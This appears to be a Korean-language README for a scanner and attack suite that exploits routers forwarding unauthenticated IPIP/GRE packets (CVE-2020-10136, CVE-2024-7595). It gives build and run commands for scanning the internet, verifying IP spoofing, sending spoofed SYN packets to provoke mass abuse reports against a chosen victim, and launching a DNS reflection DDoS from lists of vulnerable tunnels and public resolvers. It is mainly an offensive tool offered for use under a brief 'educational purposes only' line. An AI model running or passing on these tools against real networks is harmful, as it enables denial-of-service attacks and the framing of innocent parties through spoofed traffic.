
IPIP 및 GRE 프로토콜을 통해 인증되지 않은 패킷을 전달하는 호스트를 위한 스캐너 및 공격 제품군. (CVE-2020-10136 CVE-2024-7595)

공용 인터넷 상의 호스트(주로 시스코 라우터) 중 IP-in-IP 및 GRE 프로토콜로 캡슐화된 인증되지 않은 패킷을 전달하는 호스트를 위한 스캐너 및 공격 도구입니다.
이 취약점은 "터널링 프로토콜의 안전하지 않은 구현"으로 알려져 있으며 CVE-2020-10136 및 CVE-2024-7595로 추적됩니다. 이 취약점을 통해 영향을 받는 호스트로부터 모든 IP 패킷을 보낼 수 있습니다(수신은 불가능).
처음에는 패킷을 보낼 수만 있고 받을 수 없는 기능이 쓸모없어 보일 수 있습니다. 그러나 많은 영향을 받는 호스트가 역경로 필터링을 구현하지 않은 네트워크에 위치해 있습니다. 즉, 소스 주소 검증이 없는 호스트(일반적으로 IP 헤더 수정(IPHM)이라고 함) 없이도 이러한 취약점을 이용하여 공용 인터넷에서 IP 주소를 스푸핑하고 DNS 증폭 분산 서비스 거부(DDoS)와 같은 공격을 시작할 수 있습니다.
이 도구는 교육 목적으로만 사용됩니다.
이 도구는 6in4 및 IP6IP6 프로토콜의 유사한 취약점 스캐닝을 포함하지 않습니다. 이는 IPv6가 진지한 개인이 사용하는 실제 프로토콜이 아니기 때문입니다.
cd scanner/
cargo build --release
sudo ./target/release/ipeeyoupeewepee <source_ip> <src_port> <rate_limit> <protocol_type (GRE|IPIP)>
매개변수:
<source_ip>: 스캔을 수행하는 공용 IPv4 주소.<src_port>: 스캐너가 전달된 패킷을 수신할 UDP 포트. 방화벽에서 이 포트가 열려 있는지 확인하십시오.<rate_limit>: 초당 패킷 수로 제한되는 패킷 전송 속도 (예: 1000).<protocol_type>: 스캔할 캡슐화 프로토콜, GRE 또는 IPIP.tools/ 디렉토리에 있는 공격 도구 모음을 사용하려면 python3와 scapy가 설치되어 있는지 확인하십시오. 또는 tools/ 디렉토리 내에서 root로 poetry install 및 poetry shell을 실행하여 가상 환경을 설정하고 접근할 수 있습니다.
이 스크립트는 취약한 호스트가 스푸핑된 IP 패킷을 전달할 수 있는지 확인합니다.
sudo python3 can_i_spoof.py <source_ip> <source_port> <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
매개변수:
<source_ip>: 스캔을 수행하는 공용 IPv4 주소.<source_port>: 전달된 패킷을 수신할 UDP 포트.<tunnel_ip>: 취약한 IPIP 또는 GRE 호스트의 IP 주소.<spoof_ip>: 스푸핑하려는 IP 주소.<protocol>: 악용할 캡슐화 프로토콜, GRE 또는 IPIP.사용 예:
자신의 머신 IP 주소가 192.0.2.42이고 UDP 포트 31337이 방화벽에서 열려 있으며, 198.51.100.25에 취약한 GRE 전달 호스트가 확인된 경우, 다음 명령으로 해당 호스트가 203.0.113.23 IP 주소를 스푸핑할 수 있는지 확인할 수 있습니다:
sudo python3 can_i_spoof.py 192.0.2.42 31337 198.51.100.25 203.0.113.23 GRE
이 스크립트는 취약한 GRE 또는 IPIP 터널링 호스트를 사용하여 인터넷 전체의 무작위 호스트의 22번 포트로 스푸핑된 TCP SYN 패킷을 보내어, 지정된 대상 IP에 대한 대량 신고를 생성하는 것을 목표로 합니다.
sudo python3 abuse_honeypot.py <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
매개변수:
<tunnel_ip>: 취약한 IPIP 또는 GRE 호스트의 IP 주소.<spoof_ip>: 스푸핑하려는 IP 주소.<protocol>: 악용할 캡슐화 프로토콜, GRE 또는 IPIP.사용 예:
198.51.100.25에 취약한 GRE 전달 호스트가 확인되었고, IP 주소 203.0.113.23으로부터 22번 포트에 TCP SYN 패킷을 스푸핑하려는 경우, 다음 명령을 실행할 수 있습니다:
sudo python3 abuse_honeypot.py 198.51.100.25 203.0.113.23 GRE
이 스크립트는 취약한 GRE 또는 IPIP 터널링 호스트를 사용하여 DNS 응답을 지정된 대상으로 반사시키는 방법을 시연하며, DNS 반사 분산 서비스 거부(DDoS) 공격을 실행하는 방법을 보여줍니다. 이 예제는 기본적이며 더 큰 증폭 및 패킷 전송 속도를 달성하기 위해 개선될 수 있으며, 모든 개선은 독자의 과제로 남겨둡니다.
sudo python3 dns_reflect.py <tunnel_ips.txt> <dns_resolvers.txt> <spoof_ip>
매개변수:
<tunnel_ips.txt>: 취약한 IPIP 또는 GRE 호스트의 IP 주소 목록이 포함된 파일.<dns_resolvers.txt>: 대상에게 답변을 반사하는 데 사용할 DNS 리졸버 목록이 포함된 파일.<spoof_ip>: 스푸핑하려는 IP 주소.사용 예:
IP 주소 203.0.113.23에 대한 공격을 시작하려면 다음 명령을 실행합니다:
sudo python3 dns_reflect.py tunnel_ips.txt dns_resolvers.txt 203.0.113.23
이 예제에서 tunnel_ips.txt는 각 줄의 시작 부분에 프로토콜이 지정된 취약한 IPIP 또는 GRE 호스트 목록을 포함해야 하며, 다음과 같이 형식화됩니다:
GRE 198.51.100.25
IPIP 198.51.100.45
GRE 198.51.100.124
GRE 198.51.100.200
IPIP 198.51.100.3
[...]
그리고 dns_resolvers.txt는 다음과 같이 형식화된 공용 재귀 DNS 리졸버 목록을 포함해야 합니다:
9.9.9.9
8.8.8.8
1.1.1.1
[...]